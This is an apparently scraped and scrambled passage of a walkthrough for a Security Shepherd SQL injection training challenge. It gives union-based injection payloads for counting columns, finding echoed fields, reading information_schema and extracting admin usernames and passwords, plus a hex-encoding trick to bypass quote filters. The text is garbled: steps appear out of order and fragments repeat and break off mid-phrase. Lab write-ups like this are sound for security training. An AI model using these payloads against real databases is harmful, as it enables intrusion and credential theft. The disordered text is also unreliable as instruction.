When you inject 1 AND 1=2 UNION SELECT 1,2,3 -- - , the page might display the numbers 2 and 3 in specific fields (e.g., username field shows 2 , email field shows 3 ). These numbers indicate which columns are echoed back to the HTML. Step 4: Data Exfiltration – Retrieving Table Names With visible injection points (e.g., column positions 2 and 3), we query the information_schema database—the MySQL system catalog.
1 ORDER BY 1 -- - 1 ORDER BY 2 -- - 1 ORDER BY 3 -- - Continue until the page breaks (returns empty or error). If it breaks at ORDER BY 5 , the column count is 4 . Sql Injection Challenge 5 Security Shepherd
Pro tip: If ORDER BY is filtered, use 1 GROUP BY 3,2,1 to test column counts. When you inject 1 AND 1=2 UNION SELECT
Why AND 1=2 ? It ensures the first part of the query returns zero rows, leaving only our Union results to be displayed. 1 ORDER BY 1 -- - 1 ORDER
1 AND 1=2 UNION SELECT 1,admin_user,admin_pass FROM administrators -- - If the challenge uses a single quote filter, you may need to use hex encoding: FROM administrators WHERE admin_user=0x61646d696e (hex for 'admin')